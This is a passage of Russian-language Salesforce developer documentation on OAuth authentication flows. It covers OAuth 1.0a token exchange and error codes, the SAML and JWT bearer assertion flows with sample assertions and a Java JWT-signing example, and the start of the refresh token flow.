https://login.salesforce.com/setup/secur/RemoteAccessAuthorizationPage.apexp, где
пользователюпредлагаетсявыполнитьвход. Данный URL-адресдополняется соответствующимипараметрамизапроса
GET.

• oauth_token  (маркер RequestToken)

• oauth_consumer_key

Прим.: Добавленный параметр oauth_callback пропускается системой.

2. Отображается страница «Авторизация удаленного доступа».
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3. Если пользователь подтверждает доступ для клиента, то система Salesforce создает маркер AccessToken и секрет
AccessTokenSecret.

Прим.: Количествопараллельныхмаркеровдоступа кприложению, котороеможетбытьпредоставленоодному
пользователю, ограничено. По умолчанию одному пользователю доступ к одному приложению может быть
предоставленпятьраз. Вслучаепревышения установленногодляорганизацииограничения, пользовательбудет
уведомленотом, чтопредоставленныйемудоступкприложениюавтоматическиотменяетдоступк теммаркерам
этого приложения, которые дольше всего не использовались.

4. Система Salesforceпроверяет URL-адресобратноговызова (указанныйнастраницеопределениясвязанногоприложения
или в параметре oauth_callback на предыдущем этапе). Выполняется одна из указанных ниже переадресаций.

• Еслипараметр oauth_callback, заданныйвмаркере RequestToken, содержит значение oob, а поле «URL-адрес
обратного вызова» на странице определения связанного приложения содержит допустимое значение, то
пользователь перенаправляется на данный URL-адрес.

• Если параметр oauth_callback, заданный в маркере RequestToken, содержит допустимый URL-адрес, то
пользователь перенаправляется на данный URL-адрес.

5. Клиент узнает о готовности маркера AccessToken и секрета AccessTokenSecret путем получения маркера проверки от
системы Salesforce или кода проверки от конечного пользователя.

Запрос маркера AccessToken

Послепроверкипользователяклиентможет заменитьмаркер RequestToken намаркер AccessToken. Действиянижесодержат
дополнительнуюинформациюопроцедуре заменымаркеровдляразработчиков, использующихсвязанноеприложение
для отправки запросов на доступ к данным Salesforce.

1. Клиент отправляет HTTPS-запрос GET или POST по адресу
https://login.salesforce.com/_nc_external/system/security/oauth/AccessTokenHandler.
Запрос должен содержать обязательные параметры.

• oauth_consumer_key

• oauth_signature_method

• oauth_signature

• oauth_timestamp

• oauth_token

• oauth_nonce

• oauth_verifier

• oauth_version  (необязательный параметр; следует использовать «1.0»)

2. Ниже перечислены элементы, проверяемые системой Salesforce.

• Секрет клиента

• Ключ клиента

• Подпись

• Маркер RequestToken (должен использоваться впервые)

• Временная отметка (не более 15 минут, плюс еще три минуты ввиду возможного расхождения по времени на
системных часах компьютеров)

• Случайное число (должно использоваться впервые)
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3. После проверки система Salesforce возвращает маркер AccessToken и секрет AccessTokenSecret в теле ответа HTTP в
качестве пары «имя-значение».

Создание параметра oauth_signature для входа в систему

Вход в систему Salesforceможет быть выполнен посредством пользовательского интерфейса или интерфейса API. Метод
создания параметра oauth_signature определяется способом входа в систему.

• Пользовательский интерфейс: необходимо использовать https://login.salesforce.com.

• ИнтерфейсAPI: необходимоиспользовать https://login.salesforce.com/services/OAuth/тип/версия-api.

Элемент тип должен содержать одно из указанных ниже значений.

– u — Partner WSDL

– c — Enterprise WSDL

Например, https://login.salesforce.com/services/OAuth/u/17.0.

Доступ к данным Salesforce посредством клиентского приложения

Если клиент получает допустимый маркер AccessToken, то связанное приложение может отправить запрос на доступ к
данным Salesforce. Действия ниже содержат дополнительную информацию о процедуре доступа к данным для
разработчиков, использующих связанное приложение для отправки запросов на доступ к данным Salesforce.

1. Клиент отправляет HTTPS-запрос POST по адресу https://login.salesforce.com. Заголовок авторизации
должен содержать обязательные параметры.

• oauth_consumer_key

• oauth_token

• oauth_signature_method

• oauth_signature

• oauth_timestamp

• oauth_nonce

• oauth_version  (необязательный параметр; следует использовать «1.0»)

2. Система Salesforce проверяет запрос и отправляет клиенту допустимый код сеанса.

Доступ к данным Salesforce посредством API

Если клиент получает допустимый маркер AccessToken, то связанное приложение может отправить запрос на доступ к
данным Salesforce посредством Force.com Web Services API.

Прим.: Организация должна иметь доступ к интерфейсу API и связанному приложению. Дополнительную
информацию можно получить у представителя компании Salesforce.

Действиянижесодержатдополнительнуюинформациюопроцедуредоступакданнымдляразработчиков, использующих
связанное приложение для отправки запросов на доступ к данным Salesforce.

1. Клиент отправляет HTTPS-запрос POST в систему Salesforce.

• URL-адрес должен использовать следующийформат:
https://login.salesforce.com/services/OAuth/тип/версия-api.

Элемент тип должен содержать одно из указанных ниже значений.
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u — Partner WSDL–

– c — Enterprise WSDL

Элемент «версия-api» должен содержать допустимую версию API.

• Ниже перечислены параметры, которые должны использоваться в заголовке авторизации.

– oauth_consumer_key

– oauth_token

– oauth_signature_method

– oauth_signature

– oauth_timestamp

– oauth_nonce

– oauth_version  (необязательный параметр; следует использовать «1.0»)

2. Система Salesforce проверяет запрос и отправляет клиенту допустимый код сеанса. Ниже перечислены элементы,
которые должны использоваться в заголовке ответа.

<response>
<metadataServerUrl>https://na1.salesforce.com/services/Soap/m/17.0/00D300000006qjK
</metadataServerUrl>
<sandbox>false</sandbox>
<serverUrl>https://na1.salesforce.com/services/Soap/u/17.0/00D300000006qjK
</serverUrl>
<sessionId>00D300000006qrN!AQoAQJTMzwTa67tGgQck1ng_xgMSuWVBpFwZ1xUq2kLjMYg6Zq

GTS8Ezu_C3w0pdT1DMyHiJgB6fbhhEPxKjGqlYnlROIUs1</sessionId>
</response>

СМ. ТАКЖЕ:

Проверка подлинности приложений посредством OAuth

Коды ошибок OAuth 1.0.A

Ниже перечислены коды ошибок, которые могут быть возвращены системой Salesforce при использовании процесса
проверки подлинности OAuth 1.0.A. В основе возвращаемого кода ошибки используется возникшая ошибка.

ПримечанияОшибкаКод
ошибки

Случайноечисломожетиспользоватьсятолькоодин
раз.

Ошибка: обнаруженовоспроизведениеслучайного
варианта.

1701

Ошибка: не указан параметр ключа потребителя.1702

Ошибка: недопустимый маркер доступа.1703

Параметр oauth_version должен содержать
значение «1.0».

Ошибка: версия не поддерживается.1704

В качестве временной отметки должно
использоваться одно из следующих значений:

Ошибка: недопустимая отметка времени.1705
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ПримечанияОшибкаКод
ошибки

«отсутствует», «в будущем», «слишком давно» или
«недопустимо».

Случайное число отсутствует.Ошибка: недопустимый случайный вариант.1706

Ошибка: не указан параметр маркера протокола
OAuth.

1707

Ошибка: недопустимый IP-адрес.1708

Маркер RequestToken содержит недопустимый
параметр oauth_signature_method.

Ошибка: недопустимый метод подписи.1709

Маркер RequestToken содержит недопустимый
параметр oauth_callback. Допустимое

Ошибка: недопустимый URL-адресобратноговызова.1710

значение — oob или действительный URL-адрес,
использующий https.

Маркер AccessToken содержит недопустимый
параметр oauth_verifier.

Ошибка: недопустимый верификатор.1711

Попытка замены маркера RequestToken на маркер
AccessToken может быть выполнена не более трех
раз.

Ошибка: превышено ограничение по получению
маркера доступа.

1712

Приложение для удаленного доступа было удалено
из организации Salesforce.

Ошибка: клиент удален.1713

Для организации не был включен Force.com Web
Services APIилибылотключен API-доступкпротоколу
OAuth.

Ошибка: отключен API-доступ к протоколу OAuth.1716
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Процесс утверждения носителя OAuth 2.0 SAML

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управления приложениями
OAuth:
• «Управление

связанными
приложениями»

Утверждение SAML — это маркер безопасности XML, генерируемый поставщиком
удостоверенийииспользуемыйпоставщикомуслуг для определения темыутверждения
в целях безопасности.

Процесс утверждения носителя OAuth 2.0 SAML определяет способ использования
утверждения SAML для отправки запроса на получение маркера доступа OAuth в том
случае, если клиент выбирает предыдущую авторизацию. Проверка подлинности
авторизованного приложения обеспечивается цифровой подписью, примененной к
утверждению SAML.

Более подробное описание доступно по следующему адресу:
http://tools.ietf.org/html/draft-ietf-oauth-saml2-bearer.

Общие сведения о процессе утверждения носителя OAuth 2.0 SAML

Процесс утверждения носителя OAuth 2.0 SAML аналогичен процессу проверки
подлинности маркера обновления внутри OAuth. Утверждение SAML передается на
конечную точку маркера OAuth посредствомметода POST; конечная точка обрабатывает
утверждение и генерирует access_token на основе предыдущего утверждения
приложения. Обратите внимание, чтопараметр refresh_token можетотсутствовать
в клиенте, а client_secret может не передаваться на конечную точку маркера.

Ниже перечислены основные этапы процесса утверждения носителя OAuth 2.0 SAML.

1. Разработчик создает связанное приложение и регистрирует сертификат X509. Данный сертификат соответствует
секретному ключу приложения. Сохранение связанного приложения инициирует создание и назначение параметра
«Ключ пользователя»  (значение OAuth client_id) приложению.

2. Разработчик создает приложение, которое генерирует утверждение SAML, и подписывает его секретным ключом.

3. Утверждение передается посредством метода POST на конечную точку маркера
https://login.salesforce.com/services/oauth2/token.

4. Конечная точка маркера проверяет подпись с помощью сертификата, зарегистрированного разработчиком.

5. Конечнаяточкамаркерапроверяетпараметры Audience, Issuer и Subject, атакжедействительностьутверждения.

6. Если утверждение действительно, а приложение авторизовано пользователем или администратором, то система
Salesforce создает access_token.

Прим.: Данный процесс не поддерживает создание refresh_token.

Создание утверждения носителя SAML

Нижеперечисленыправила, которымидолжныруководствоватьсяразработчикидлясозданиядействительныхутверждений
носителя SAML.

• Параметр Issuer долженсодержать значение OAuth client_id илисвязанноеприложение, сертификаткоторого
зарегистрирован разработчиком.

• Параметр Audience должен содержать адрес https://login.salesforce.com или
https://test.salesforce.com.

• Параметр Recipient долженсодержатьадрес https://login.salesforce.com/services/oauth2/token
или https://test.salesforce.com/services/oauth2/token.
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• Параметр Subject NameID должен содержать имя нужного пользователя Salesforce.

• Утверждение должно быть подписано согласно спецификации XML Signature посредством RSA и SHA-1 или SHA-256.

• Утверждение SAML должно соответствовать общим правилам оформления, доступным по следующему адресу:
http://tools.ietf.org/html/draft-ietf-oauth-saml2-bearer.

• Утверждение, передаваемое на конечную точку маркера посредством метода POST, должно быть зашифровано в
base64url, согласно следующим правилам: http://tools.ietf.org/html/rfc4648#page-7

Ниже приведен пример утверждения.

<?xml version="1.0" encoding="UTF-8"?>
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_cd3649b3639560458bc9d9b33dfee8d21378409114655" IssueInstant="2013-09-05T19:25:14.654Z"
Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"

xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">3MVG9PhR6g6B7ps45QoRvhVGGMmR_DT4kxXzVXOo6TTHF3QO1nmqOAstC92
4qSUiUeEDcuGV4tmAxyo_fV8j</saml:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="#_cd3649b3639560458bc9d9b33dfee8d21378409114655">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform

Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"><ec:InclusiveNamespaces
xmlns:ec="http://www.w3.org/2001/10/xml-exc-c14n#" PrefixList="ds saml"/>

</ds:Transform>
</ds:Transforms>

<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<ds:DigestValue>N8DxylbIeNg8JDO87WIqXGkoIWA=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>

XV0lFJrkhJykGYQbIs0JBFEHdt4pe2gBgitcXrscNVX2hKGpwQ+WqjF8EKrqV4Q3/Q4KglrXl/6s
xJr6WOmxWtIQC4oWhSvVyfag34zQoecZeunEdFSMlnvPtqBVzJu9hJjy/QDqDWfMeWvF9S50Azd0
EhJxz/Ly1i28o4aCXQQ=

</ds:SignatureValue>
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>
</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
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</ds:Signature>
<saml:Subject xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">test@example.org</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"

xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:SubjectConfirmationData NotOnOrAfter="2013-09-05T19:30:14.654Z"

Recipient="https://login.salesforce.com/services/oauth2/token"/>
</saml:SubjectConfirmation>

</saml:Subject>
<saml:Conditions NotBefore="2013-09-05T19:25:14.654Z" NotOnOrAfter="2013-09-05T19:30:14.654Z"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AudienceRestriction xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:Audience>https://login.salesforce.com/services/oauth2/token</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2013-09-05T19:25:14.655Z"

xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AuthnContext xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">

<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified</saml:AuthnContextClassRef>

</saml:AuthnContext>
</saml:AuthnStatement>

</saml:Assertion>

Использование утверждений носителя SAML

Утверждение носителя SAML должно быть передано посредством метода POST на конечную точку маркера по адресу
https://login.salesforce.com/services/oauth2/token или
https://test.salesforce.com/services/oauth2/token.

Ниже перечислены параметры, которые должны быть заданы для выполнения передачи посредством метода POST.

• grant_type: urn:ietf:params:oauth:grant-type:saml2-bearer  (обязательно).

• assertion: утверждение носителя SAML, зашифрованное в base64url, согласно следующим правилам:
http://tools.ietf.org/html/rfc4648#page-7  (обязательно).

Дополнительные стандартные параметры:

• format: форматответаможетбыть заданподобнопроцессу OAuth спомощьюпараметра token или HTTP-заголовка
Accept.

• scope: данный процесс не поддерживает параметр scope. Значение данного параметра формируется параметрами
scope из предыдущих утверждений.

Ниже приведен пример запроса на маркер.

POST /services/oauth2/token HTTP/1.1
Host: login.salesforce.com
Content-Type: application/x-www-form-urlencoded

grant_type=
urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Asaml2-bearer&assertion=PHNhbWxwOl...[omitted
for brevity]...ZT
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Сервер отправляет ответ

После проверки запроса система Salesforce отправляет клиенту ответ. Ответы с маркерами для процесса проверки
подлинности маркера носителя OAuth 2.0 SAML используют формат процессов authorization_code, но не
поддерживают создание refresh_token.

Прим.: Запрос на утверждение носителяOAuth 2.0 SAML обрабатывает все предыдущие утверждения пользователя,
содержащие параметр refresh_token. При обнаружении совпадающих утверждений значения утвержденных
областей объединяются для создания параметра access_token  (со значением "Bearer" параметра
"token_type"). Если предыдущие утверждения не содержали параметра refresh_token, то утвержденные
параметры scope недоступны, а авторизация запросов выполняется с ошибкой.

Ошибки

При обнаружении ошибки во время обработки утверждения носителя SAML сервер отправляет стандартное сообщение
об ошибке OAuth, содержащее ошибку и ее описание, а также дополнительную информацию о причинах обработки
маркера в качестве недействительного. Ниже приведен пример сообщения об ошибке.

HTTP/1.1 400 Bad Request
Content-Type: application/json
Cache-Control: no-store
{
"error":"invalid_grant",
"error_description":"Audience validation failed"

}

СМ. ТАКЖЕ:

Проверка подлинности приложений посредством OAuth

Процесс проверки подлинности маркера носителя OAuth 2.0 JWT

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управления приложениями
OAuth:
• «Управление

связанными
приложениями»

JSON Web Token (JWT) — это кодировка маркера безопасности на основе JSON, которая
поддерживает совместный доступ к сведениям о безопасности и идентификации в
разных доменах безопасности.

Процесс проверки подлинности маркера носителя OAuth 2.0 JWT определяет способ
использования JWT дляотправкизапросанаполучениемаркерадоступа OAuth отсистемы
Salesforce в том случае, если клиент выбирает предыдущую авторизацию. Проверка
подлинности авторизованного приложения обеспечивается цифровой подписью,
примененной к JWT.

Дополнительное описание JWT и процесса проверки подлинности маркера носителя
JWT для OAuth см. по ссылкам ниже.

• http://tools.ietf.org/html/draft-ietf-oauth-jwt-bearer

• http://tools.ietf.org/html/draft-jones-json-web-token

Общие сведения о процессе проверки подлинности маркера носителя OAuth
2.0 JWT

Процесс проверки подлинности маркера носителя OAuth 2.0 JWT аналогичен процессу
проверкиподлинностимаркераобновления внутри OAuth. JWT передаетсяна конечную
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точкумаркера OAuth посредствомметода POST; конечная точкаобрабатывает JWT и генерирует access_token наоснове
предыдущего утверждения приложения. Обратите внимание, что параметр refresh_token может отсутствовать в
клиенте, а client_secret может не передаваться на конечную точку маркера.

Процесс носителя JWT поддерживает алгоритм RSA SHA256, который использует загруженный сертификат в качестве
секрета подписывания.

Ниже перечислены основные этапы процесса проверки подлинности маркера носителя OAuth 2.0 JWT.

1. Разработчиксоздаетилииспользует текущеесвязанноеприложениеипринеобходимостирегистрирует сертификат
X509. Данный сертификат соответствует секретному ключу приложения. Сохранение связанного приложения
инициирует создание и назначение параметров «Ключ пользователя» (значение OAuth client_id) и «Секрет
пользователя» приложению.

2. Разработчик создает приложение, которое генерирует JWT, и подписывает его сертификатом.

3. JWT передается посредством метода POST на конечную точку маркера
https://login.salesforce.com/services/oauth2/token или
https://acme.force.com/customers/services/oauth2/token  (при использовании сообщества), где
acme.force.com/customers является URL-адресом сообщества.

4. Конечная точка маркера проверяет подпись посредством сертификата, зарегистрированного разработчиком.

5. Конечная точка маркера проверяет адресата (aud), отправителя (iss), действительность (exp) и субъект (sub) JWT.

6. Если JWT действительно, а приложение авторизовано пользователем или администратором, то система Salesforce
создает access_token.

Прим.: Данный процесс не поддерживает создание refresh_token.

Создание маркера носителя JWT

Нижеперечисленыправила, которымидолжныруководствоватьсяразработчикидлясозданиядействительныхмаркеров
носителя JWT, соответствующих алгоритму RSA SHA256.

• Отправитель (iss) долженсодержать значение OAuth client_id илисвязанноеприложение, сертификат которого
зарегистрирован разработчиком.

• Адресат (aud) долженсодержатьадрес https://login.salesforce.com, https://test.salesforce.com
или https://acme.force.com/customers  (при использовании сообщества), где
acme.force.com/customers является URL-адресом сообщества.

• Субъект (sub) долженсодержатьимянужногопользователя системы Salesforceилипользователя сообщества Salesforce
(прииспользовании сообщества). Вцелях обеспечения обратной совместимостирекомендуемиспользовать субъект
(prn) вместо субъекта (sub). При наличии обоих используется prn.

• Параметрдействительность (exp) долженсодержать времяистечениясрока действия утверждения (в течение 5 минут),
выраженное количеством секунд, начиная с 1970-01-01T0:0:0Z, и указанное по Гринвичу.

• JWT должен использовать подпись RSA SHA256.

• JWT должен соответствовать общим правилам оформления, доступным по следующему адресу:
http://tools.ietf.org/html/draft-jones-json-web-token.

Чтобы создать маркер носителя JWT, выполните указанные ниже действия.

1. Создайте заголовок JWT в следующемформате: {"alg":"RS256"}.
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2. Кодировка Base64url шифрует заголовок JWT согласно правилам, перечисленным по следующему адресу:
http://tools.ietf.org/html/rfc4648#page-7. Результатдолженвыглядетьпримерноследующимобразом:
eyJhbGciOiJSUzI1NiJ9.

3. Создайте набор утверждений JSON для JWT с использованием параметров iss, sub, aud и exp.

{"iss": "3MVG99OxTyEMCQ3gNp2PjkqeZKxnmAiG1xV4oHh9AKL_rSK.BoSVPGZHQ
ukXnVjzRgSuQqGn75NL7yfkQcyy7",
"sub": "my@email.com",
"aud": "https://login.salesforce.com",
"exp": "1333685628"}

4. Кодировка Base64url шифрует набор утверждений JSON без разрывов строк. Например:

eyJpc3MiOiAiM01WRzk5T3hUeUVNQ1EzZ05wMlBqa3FlWkt4bm1BaUcxeFY0b0hoOUFLTF9yU0su
Qm9TVlBHWkhRdWtYblZqelJnU3VRcUduNzVOTDd5ZmtRY3l5NyIsICJwcm4iOiAibXlAZW1haWwu
Y29tIiwgImF1ZCI6ICJodHRwczovL2xvZ2luLnNhbGVzZm9yY2UuY29tIiwgImV4cCI6ICIxMzMz
Njg1NjI4In0=

5. Создайте строку для закодированного заголовка JWT и закодированного набора утверждений JWT в следующем
формате:

encoded_JWT_Header + "." + encoded_JWT_Claims_Set

В примере ниже закодированный заголовок JWT выделен цветом.

eyJhbGciOiJSUzI1NiJ9.eyJpc3MiOiAiM01WRzk5T3hUeUVNQ1EzZ05wMlBqa3FlWkt4bm1BaUcxeFY0b0hoOUFLTF9yU0su
Qm9TVlBHWkhRdWtYblZqelJnU3VRcUduNzVOTDd5ZmtRY3l5NyIsICJwcm4iOiAibXlAZW1haWwu
Y29tIiwgImF1ZCI6ICJodHRwczovL2xvZ2luLnNhbGVzZm9yY2UuY29tIiwgImV4cCI6ICIxMzMz
Njg1NjI4In0=

6. Подпишите итоговую строку с помощью SHA256 и RSA.

7. Создайте строку на основе строки из данного этапа в следующемформате:

existing_string + "." + base64_encoded_signature

В примере ниже начало подписи, закодированной в base64, выделено цветом.

eyJhbGciOiJSUzI1NiJ9.eyJpc3MiOiAiM01WRzk5T3hUeUVNQ1EzZ05wMlBqa3FlWkt4bm1BaUcxeFY0b0hoOUFLTF9yU0su
Qm9TVlBHWkhRdWtYblZqelJnU3VRcUduNzVOTDd5ZmtRY3l5NyIsICJwcm4iOiAibXlAZW1haWwu
Y29tIiwgImF1ZCI6ICJodHRwczovL2xvZ2luLnNhbGVzZm9yY2UuY29tIiwgImV4cCI6ICIxMzMz
Njg1NjI4In0=.iYCthqWCQucwi35yFs-nWNgpF5NA_a46fXDTNIY8ACko6BaEtQ9E6h4Hn1l_pcwcK
I_GlmfUO2dJDg1A610t09TeoPagJsZDm_H83bsoZUoI8LpAA1s-2aj_Wbysqb1j4uDToz
480WtEbkwIv09sIeS_-QuWak2RXOl1Krnf72mpVGS4WWSULodgNzlKHHyjAMAHiBHIDNt
36y2L2Bh7M8TNWiKa_BNM6s1FNKDAwHEWQrNtAeReXgRy0MZgQY2rZtqT2FcDyjY3JVQb
En_CSjH2WV7ZlUwsKHqGfI7hzeEvVdfOjH9NuaJozxvhPF489IgW6cntPuT2V647JWi7ng

Ниже приведен код Java, используемый в качестве простого примера для создания маркера носителя JWT.

import org.apache.commons.codec.binary.Base64;
import java.io.*;
import java.security.*;
import java.text.MessageFormat;

public class JWTExample {
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public static void main(String[] args) {

String header = "{\"alg\":\"RS256\"}";
String claimTemplate = "'{'\"iss\": \"{0}\", \"sub\": \"{1}\", \"aud\": \"{2}\",

\"exp\": \"{3}\"'}'";

try {
StringBuffer token = new StringBuffer();

//Encode the JWT Header and add it to our string to sign
token.append(Base64.encodeBase64URLSafeString(header.getBytes("UTF-8")));

//Separate with a period
token.append(".");

//Create the JWT Claims Object
String[] claimArray = new String[4];
claimArray[0] =

"3MVG99OxTyEMCQ3gNp2PjkqeZKxnmAiG1xV4oHh9AKL_rSK.BoSVPGZHQukXnVjzRgSuQqGn75NL7yfkQcyy7";
claimArray[1] = "my@email.com";
claimArray[2] = "https://login.salesforce.com";
claimArray[3] = Long.toString( ( System.currentTimeMillis()/1000 ) + 300);
MessageFormat claims;
claims = new MessageFormat(claimTemplate);
String payload = claims.format(claimArray);

//Add the encoded claims object
token.append(Base64.encodeBase64URLSafeString(payload.getBytes("UTF-8")));

//Load the private key from a keystore
KeyStore keystore = KeyStore.getInstance("JKS");
keystore.load(new FileInputStream("./path/to/keystore.jks"),

"keystorepassword".toCharArray());
PrivateKey privateKey = (PrivateKey) keystore.getKey("certalias",

"privatekeypassword".toCharArray());

//Sign the JWT Header + "." + JWT Claims Object
Signature signature = Signature.getInstance("SHA256withRSA");
signature.initSign(privateKey);
signature.update(token.toString().getBytes("UTF-8"));
String signedPayload = Base64.encodeBase64URLSafeString(signature.sign());

//Separate with a period
token.append(".");

//Add the encoded signature
token.append(signedPayload);

System.out.println(token.toString());

} catch (Exception e) {
e.printStackTrace();

}
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}
}

Использование маркера носителя JWT

Маркер носителя JWT должен быть передан посредством метода POST на конечную точку маркера по адресу
https://login.salesforce.com/services/oauth2/token,
https://test.salesforce.com/services/oauth2/token или
https://acme.force.com/customers/services/oauth2/token  (при использовании сообщества), где
acme.force.com/customers является URL-адресом сообщества.

Ниже перечислены параметры, являющиеся обязательными для передачи посредством метода POST.

• grant_type: urn:ietf:params:oauth:grant-type:jwt-bearer.

• assertion: маркер носителя JWT.

Дополнительные стандартные параметры:

• format: форматответаможетбыть заданподобнопроцессу OAuth спомощьюпараметра token или HTTP-заголовка
Accept.

• scope: данный процесс не поддерживает параметр scope. Значение данного параметра формируется параметрами
scope из предыдущих утверждений.

Ниже приведен пример запроса на маркер.

POST /services/oauth2/token HTTP/1.1
Host: login.example.com
Content-Type: application/x-www-form-urlencoded

grant_type=
urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer&assertion=eyJpc3MiOiAiM01WRz...[omitted
for brevity]...ZT

Сервер проверяет маркер

После проверки запроса система Salesforce отправляет клиенту ответ. Ответы с маркерами для процесса проверки
подлинностимаркераносителя OAuth 2.0 JWT используютформатпроцессов authorization_code, нонеподдерживают
создание refresh_token. Запрос на утверждение носителя OAuth 2.0 JWT обрабатывает все предыдущие утверждения
пользователя, содержащие параметр refresh_token. При обнаружении совпадающих утверждений значения
утвержденных областей объединяются для создания параметра access_token  (со значением "Bearer" параметра
"token_type"). Еслипредыдущиеутверждениянесодержалипараметра refresh_token, тоутвержденныепараметры
scope недоступны, а авторизация запросов выполняется с ошибкой.

Прииспользованиисообщества значение "sfdc_community_id" конечнойточкимаркера содержиткодсообщества,
который может требоваться запросами Chatter REST API.

Прим.: Полученный параметр access_token может быть передан как маркер носителя в запросе на заголовок
авторизации. Далее приведен пример вызова REST API к сообществам:
https://acme.force.com/customers/services/data/v32.0/ -H "Authorization: Bearer
00D50000000IehZ\!AQcAQH0dMHZfz972Szmpkb58urFRkgeBGsxL_QJWwYMfAbUeeG7c1E6
LYUfiDUkWe6H34r1AAwOR8B8fLEz6n04NPGRrq0FM"
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Ошибки

При обнаружении ошибки во время обработки маркера носителя JWT сервер отправляет стандартное сообщение об
ошибке OAuth, содержащееошибкуиееописание, а такжедополнительнуюинформациюопричинахобработкимаркера
в качестве недействительного. Ниже приведен пример сообщения об ошибке.

HTTP/1.1 400 Bad Request
Content-Type: application/json
Cache-Control: no-store
{
"error":"invalid_grant",
"error_description":"Audience validation failed"

}

СМ. ТАКЖЕ:

Проверка подлинности приложений посредством OAuth

Процесс проверки подлинности маркера обновления OAuth 2.0

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управления приложениями
OAuth:
• «Управление

связанными
приложениями»

Клиент, подтвердивший свои права доступа, может использовать маркер обновления
для получения нового маркера доступа (кода сеанса). Данный алгоритм выполняется
толькопослеполученияклиентоммаркераобновленияпосредствомпроцессавеб-сервера
или пользователя-агента.Недействительность маркера доступа и необходимость
примененияновогомаркераопределяютсяклиентомсамостоятельно. Процессыносителя
могут использоваться только после получения клиентом маркера обновления.

Ниже описаны этапы процесса проверки подлинности маркера обновления. Более
подробное описание каждого этапа см. ниже.

1. Клиент использует текущий маркер обновления для отправки запроса на новый
маркер доступа.

2. После проверки запроса система Salesforce отправляет клиенту ответ.

Клиент отправляет запрос на обновленный маркер доступа

Принеобходимостимаркеробновленияможетиспользоватьсядляначалановогосеанса.

Клиент должен отправить запрос POST на конечную точку маркера. В запросе должны
быть указаны следующие параметры:

• grant_type: для данного процесса должно быть указано значение
refresh_token;

• refresh_token: маркер обновления из этапа утверждения;

• client_id: ключ пользователя из определения связанного приложения;

• client_secret: секрет пользователя из определения связанного приложения; Данный параметр является
необязательным.

• client_assertion: параметр client_secret может быть заменен параметрами client_assertion и
client_assertion_type. Приотсутствиипараметра client_secret системаSalesforceавтоматическипроверяет
параметры client_assertion и client_assertion_type.

Параметр client_assertion долженсодержатьтипичныймаркерносителя JWT, подписанныйсекретнымключом,
которыйсвязанс загруженнымсертификатомпользователя OAuth. Внастоящеевремяподдерживаетсятолькоалгоритм
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RS256. Дополнительную информацию об использовании параметра client_assertion см. в методе проверки
подлинности клиента private_key_jwt, описанном в спецификациях OpenID Connect.

• client_assertion_type: значение данного параметра указывается только при использовании параметра
client_assertion.

Параметр client_assertion_type должен содержать значение
urn:ietf:params:oauth:client-assertion-type:jwt-bearer.

• format: ожидаемыйформат возврата. Данныйпараметрявляетсянеобязательным. Значениепоумолчанию — json.
Ниже указаны возможные значения.

– urlencoded

– json

– xml

Ниже приведен пример внеполосного запроса POST для отправки на конечную точку маркера.

POST /services/oauth2/token HTTP/1.1
Host: https://login.salesforce.com/
grant_type=refresh_token&client_id=3MVG9lKcPoNINVBIPJjdw1J9LLM82HnFVVX19KY1uA5mu0
QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCscA9GE&client_secret=1955279925675241571
&refresh_token=your token here

Помимо параметра format, возвращаемыйформат также может быть задан в заголовке Accept с помощью одного из
следующих значений:

• Accept: application/json

• Accept: application/xml

• Accept: application/x-www-form-urlencoded

Сервер Salesforce отправляет ответ

ПослепроверкизапросасистемаSalesforceотправляетклиентуответ. Нижеперечисленыпараметры, которыеотображаются
в теле ответа.

• access_token: код сеанса Salesforce, который может использоваться в Web Services API.

• token_type: значение Bearer для всех ответов, содержащих маркер доступа.

• instance_url: URL-адрес, определяющий экземпляр организации пользователя. В примере ниже используется
экземпляр na1: https://na1.salesforce.com.

• id: URL-адрес удостоверения, используемый для идентификации пользователя и отправки запросов на получение
дополнительной информации об этом пользователе. См. раздел «URL-адреса удостоверений» на странице 5802.

• sfdc_community_url: URL-адрес сообщества, при условии, что пользователь является участником сообщества
Salesforce.

• sfdc_community_id: код сообщества, при условии, что пользователь является участником сообщества Salesforce.

• signature: подпись HMAC-SHA256, закодированнаяв Base64 идополненнаясекретнымключомклиента, содержащим
